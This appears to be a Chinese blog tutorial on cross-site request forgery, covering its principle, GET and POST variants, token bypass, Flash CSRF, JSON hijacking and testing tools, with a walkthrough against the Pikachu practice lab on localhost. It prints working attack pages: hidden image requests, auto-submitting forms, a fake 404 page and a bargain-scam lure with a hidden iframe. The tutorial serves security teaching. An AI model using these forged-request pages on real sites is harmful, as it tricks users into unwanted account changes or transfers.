目录

CSRF

一、简介:

二、CSRF与XSS的区别:

XSS

CSRF

三、原理:

四、基本流程:

五、危害:

六、分类:

站外攻击:

站内攻击:

七、举例:

Get提交方法:

Post提交方法:

未进行CSRF-token验证

位置:

原理:

cookie中的token:

FLASH CSRF

属性:

Json劫持

简介:

获取数据的方式:

利用过程:

八、工具使用:

deemon

下载地址:

简介:

CSRFTester

简介:

下载链接:

基本使用方法:

第一步:配置本地服务器的代理监听

第二步:开始记录

​编辑

九、利用过程:

CSRF(GET)

第一步:模拟用户(目标)登录

​编辑

第二步:获取修改提交的URL

第三步:构造恶意执行语句

第四步:将构造的URL诱骗用户点击

更多其他的伪装方法:

CSRF(POST)

第一步:是要获得用户修改提交的URL

第二步:构造恶意执行语句

第三步:诱导用户点击


今天学会一个词,失之毫厘谬以千里


CSRF

一、简介:

CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。

不大流行,但如果被成功利用,危害更大。


1、在跨站点请求伪造(CSRF)攻击中,攻击者只需创建一个看似无害的网站,致使用户的浏览器直接向易受攻击的应用程序提交一个请求,执行某种有利于攻击者的无意操作。同源策略并不阻止一个网站向另一个域提出请求,但它确实阻止提出请求的网站处理跨域请求的响应,正常情况下,CSRF攻击只是一种“单向“ 攻击。

2、所以在纯粹的CSRF攻击中, 要想实施如XSS蠕虫中的多阶段操作,从响应中读取数据并将其合并到随后的请求中, 将很难实现

3、请求易于受到CSRF攻击可能有:请求执行特权操作、仅仅依靠HTTPcookie来追踪会话、攻击者可以确定执行操作所需的所有参数等。

4、针对这些特点表现出的缺陷, 攻击者可以构建一个Web页面,向易受攻击的应用程序提出一个跨域请求, 在其中包含执行特权操作所需的所有步骤。攻击将所有请求参数放入隐藏表单字段中, 并包含一段用于自动提交表单的脚本,用户的浏览器提交此表单时, 将自动添加用户的目标域的cookie,并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序,并访问攻击者的包含此表单的Web页面,该请求将在管理员的会话中处理,攻击者的账户因此得以创建

5、应用程序确认站外图像方面的漏洞称为 "检查时间,使用时间” 漏洞。因为某个数据在一个时间确认,却在另一个时间使用,导致攻击者能够在这两个时间的间隔内修改该数据的值


二、CSRF与XSS的区别:

XSS

通过盗取网站内的已有的用户的身份,然后再执行相关操作

CSRF

通过伪装(伪造、更改状态的请求)用户身份(即盗用身份),通过服务器身份认证后,然后发送恶意请求(服务器会认为请求是合法的),但是服务器给出响应肯定是给真实的那个用户,


三、原理:

在浏览器中cookie在一段时间内是不会过期(不关闭或者退出浏览器),再次访问都会默认登录,这个应该都有体验。如果在cookie存在期间,通过构造csrf脚本或包含csrf脚本的链接发送给用户,得到信息后,再伪造成用户身份,执行相关操作


四、基本流程:

用户在某网站A进行登录-------->身份验证成功,返回cookie给用户---------->攻击者构建一个网站F,诱使用户使用同一浏览器进入(前提:未退出网站A,一般都会有默认浏览器)------------->网站F收到用户请求后,返回恶意代码给用户,强制他访问网站A---------->用户浏览器在网站A上执行相关操作(以已经持有的cookie)


五、危害:

比如发消息、盗号、转账……等没有没有需要再次验证身份的基本操作。

再要验证身份的话,那就再社工……(搭建一个一模一样的网站……)


六、分类:

站外攻击:

因为考虑到用户体验感,就不会将用户限制的死死的,一定会开放一部分功能供使用,攻击者在站外构造脚本伪造请求,用户在攻击者构造的网站中触发伪造请求时,强制用户客户端就会发起请求(一般是在同一浏览器,而且某一用户登录上的未退出的网站)

站内攻击:

如果开发人员滥用$_REQUEST 类变量,以Post提交的数据表单,也支持Get传参。攻击者把预测的请求参数上传到站内贴子或留言的图片链接里,当用户浏览了含有请求参数的页面就强制发出这些请求。


七、举例:

Get提交方法:

在你精心构造网页的事件里面,添加一些要求用户执行相关请求行为的链接

<a href="转款URL">砍一刀立赚200块</a>

这个标签把,也可以在其他里面,就是看哪里点击概率大

<img src="URL">

……

<meta charset='utf-8'>

<img src='./1.jpg'><br />

<img src='URL/bank/action.php?

username=xxx&money=10000&submit=%E4%BA%A4%E6%98%93'

alt='砍一刀赚200,这不冲'>

<meta>:可提供有关页面的元信息,位于头部。在 HTML 中,没有结束标签。  在 XHTML 中,必须被正确地关闭。

charset:编码

username、money:都是可能的参数名

alt:替代文本

Post提交方法:

post提交,一般都是提交到服务器的一些重要的东西

也可以在构造的网页里面有一个让别人容易相信的表单等post提交方法(不涉及很多私密东西)

用户提交post请求后,然后触发post伪造请求用户自己登录过的网站服务器,执行……

<meta charset='utf-8'>

<form name='csrf' action='URL/bank/action.php' method='post'>

<input type='hidden' name='xxxx' value='xxxx'>

<input type='hidden' name='money' value='10000'>

</form>

<script>document.csrf.submit()</script>

<img src="./1.jpg" ><br />

</form>:创建供用户输入的 HTML 表单

document:每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问

未进行CSRF-token验证

位置:

cookie、 form表单、 URL参数

原理:

当用post提交数据的时候,django会去检查是否有一个csrf的随机字符串,如果没有就会报错

cookie中的token:

cookie一般不会附带HttpOnly属性,因为如果服务器自己要想再在cookie里面提取东西就不行了

因为CSRF-toke是限制CSRF,所以我们就要通过一定方法拿到CSRF-toke,问题就解决了

所以我们需要结合其他手段进行获取,例如xss等

FLASH CSRF

属性:

AllowScriptAccess:控制Flash与HTML页面的通信(设置不当导致XSS)

AllowNetworking:控制Flash与外部网络的通信(设置不当导致CSRF)

Json劫持

简介:

又称“JSON Hijacking”(与CSRF类似),Json劫持是为了达到获取敏感数据的目的,而CSRF类似于钓鱼(愿者上钩)

简而言之,就是对数据进行窃取,转向发给自己

获取数据的方式:

xmlhttp:

{"username":"……","password":"……"}

script:

userinfo={"username":"……","password":"……"}

利用过程:

第一步:寻找网站对象,使用AJAX(一般为JSON传输数据)作为前端脚本

第二步:诱导用户进入钓鱼网站

第三步:劫持钓鱼网站中用户的数据

 (也爱爬山,山顶风景不是人人都可以看见的)


八、工具使用:

deemon

下载地址:

链接地址:Deemon is a tool to detect CSRF in web applications(github.com)

简介:

这是Deemon的代码库,一个用于在Web应用程序中检测CSRF的工具。 Deemon是一种应用程序无关的自动框架,旨在由开发人员和安全分析师在软件开发生命周期的安全测试阶段使用。当前版本的Deemon支持使用MySQL数据库的基于PHP的Web应用程序


CSRFTester

简介:

CSRFTester是一款CSRF漏洞的测试工具.运行在windows上。

下载链接:

链接:https://pan.baidu.com/s/1zHV1qwXwviOS29akrbODbA?pwd=hj12 
提取码:hj12

基本使用方法:

第一步:配置本地服务器的代理监听

第二步:开始记录


九、利用过程:

CSRF(GET)

第一步:模拟用户(目标)登录

尝试修改个人信息

在开发者模式中的网络中可以看见修改提交的URL

第二步:获取修改提交的URL

这个可以先自己提交的时候,然后找找提交修改的URL规律

不行的话,就结合xss等手段

第三步:构造恶意执行语句

http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=广州&email=123456qq.com&submit=submit

第四步:将构造的URL诱骗用户点击

在同一浏览器中打开这个URL将执行修改操作

http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit

更多其他的伪装方法:

写入html文件中,诱骗用户点击,并使用各种提示打消用户的疑虑

//①伪装成错误页面(即404页面)

<html>
<head><title>页面找不到</title>
</head>
<body>
<img src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" border="0"style="display:none;"/><h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

//②使用嵌套,让用户不易发现

duoduo.html

<html><head><title>某多多在线砍一刀</title></head><body><a href="post.html">在线机器人帮助砍一刀,点击砍取!!!</a></body>
</html>

post.html

<html><head><title>某多多助手</title></head><body><p>请到某多多中查看砍一刀是否成功</p><iframe/ src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" frameborder="0" width="0px"></body>
</html>

CSRF(POST)

第一步:是要获得用户修改提交的URL

这个可以自己先提交一遍,尝试能不能分析出,不行就尝试社工

第二步:构造恶意执行语句

<html>
<head>
<script>
window.onload = function() {document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://localhost:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"><input id="sex" type="text" name="sex" value="girl" /><input id="phonenum" type="text" name="phonenum" value="1111111" /><input id="add" type="text" name="add" value="广州" /><input id="email" type="text" name="email" value="111111111" /><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

第三步:诱导用户点击

就已经执行了修改操作了

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……相关推荐

  1. Batch Normalization详解(原理+实验分析)

    Batch Normalization详解(原理+实验分析) 1. 计算过程 2. 前向传播过程 3. 反向传播过程 4. 实验分析 4.1 实验一:验证有没有BatchNorm下准确率的区别 4.2 ...

  2. P2P技术详解(一):NAT详解——详细原理、P2P简介(转)

    这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层开发人员而言有很高的参考价值. <P2P技术详解>系列文章 ➊ 本 ...

  3. 015. P2P技术详解(一):NAT详解——详细原理、P2P简介

    http://www.52im.net/thread-50-1-1.html 这是一篇介绍NAT技术要点的精华文章,来自华3通信官方资料库,文中对NAT技术原理的介绍很全面也很权威,对网络应用的应用层 ...

  4. 图文详解 epoll 原理【Redis,Netty,Nginx实现高性能IO的核心原理】epoll 详解

    [Redis,Netty,Nginx 等实现高性能IO的核心原理] I/O 输入输出(input/output)的对象可以是文件(file), 网络(socket),进程之间的管道(pipe).在li ...

  5. 自动驾驶算法-滤波器系列(一)——详解卡尔曼滤波原理

    详解卡尔曼滤波原理 什么是卡尔曼滤波? 我们能用卡尔曼滤波做什么? 卡尔曼滤波是如何看到你的问题的 使用矩阵来描述问题 外部控制量 外部干扰 用测量量来修正估计值 融合高斯分布 将所有公式整合起来 总 ...

  6. Android 4.4 NotificationManagerService使用详解与原理分析(二)__原理分析

    前置文章: <Android 4.4 KitKat NotificationManagerService使用详解与原理分析(一)__使用详解> 转载请务必注明出处:http://blog. ...

  7. 原码,反码,补码详解及原理

    原码,反码,补码详解及原理 原码  原码:在数值前直接加一符号位的表示法. 例如: 符号位 数值位 byte的取值范围 [+7]原= 0 0000111 B[-7]原= 1 0000111 B 注意: ...

  8. 新书推荐 |《5G NR物理层技术详解:原理、模型和组件》

    新书推荐 <5G NR物理层技术详解:原理.模型和组件> 点击上图了解及购买 5G专家和学者撰写,详解5G NR物理层技术(包括波形.编码调制.信道仿真和多天线技术等)及其背后的成因,爱立 ...

  9. 快速排序算法详解(原理,时间复杂度,实现代码)

    快速排序算法详解(原理.实现和时间复杂度) 快速排序是对冒泡排序的一种改进,由 C.A.R.Hoare(Charles Antony Richard Hoare,东尼·霍尔)在 1962 年提出. 快 ...

  10. python中的iloc函数_详解pandas中利用DataFrame对象的.loc[]、.iloc[]方法抽取数据

    pandas的DataFrame对象,本质上是二维矩阵,跟常规二维矩阵的差别在于前者额外指定了每一行和每一列的名称.这样内部数据抽取既可以用"行列名称(对应.loc[]方法)",也 ...

最新文章

  1. 教你如何成为一名区块链工程师!
  2. JavaScript的基础
  3. 【网址收藏】Linux 命令分类(debian Linux)
  4. struts 模块化开发学习
  5. vue和java bean_Java:JavaBean和BeanUtils
  6. js拦截物联返回键跳转到指定页面
  7. Python-pillow库显示MNIST图片的方法
  8. php开发面试题---1、php常用面试题一(PHP有哪些特性)
  9. Windows 11 新功能:管理蓝牙设备将不再困难
  10. Apache Solr Java 企业级搜索引擎
  11. Unknown run configuration type AndroidRunConfigurationType的解决办法
  12. JS包含js文件 动态添加css
  13. STM32电机库(ST-MC-Workbench)学习记录——无感FOC代码生成
  14. 如何给Word中的图片添加题注
  15. 支付宝客户端架构解析:Android 客户端启动速度优化之「垃圾回收」
  16. @Valid对页面传参的校验问题
  17. 折腾T480及VMware
  18. 解析电源设计1-储能元件-电容
  19. hdu 4302 Holedox Eating(优先队列)
  20. 追忆第一次南下深圳有哪些重大抉择(二)?

热门文章

  1. [答疑]门诊挂号分析序列图
  2. Ubunt18.0 安装Labview2017 的方法(七夕的礼物)
  3. Python中计算图像亮度
  4. 【机器学习系列】机器学习简介
  5. VC++字符串IP地址转DWORD地址
  6. Android碎片知识(十).开发中的gps定位(转)
  7. 吴晓波:未来十年,我们所认为的能力将荡然无存
  8. Oracle 实例管理
  9. CloudCompare多个pcd文件的拼接为1个pcd
  10. Setup Factory卸载前关闭正在运行的程序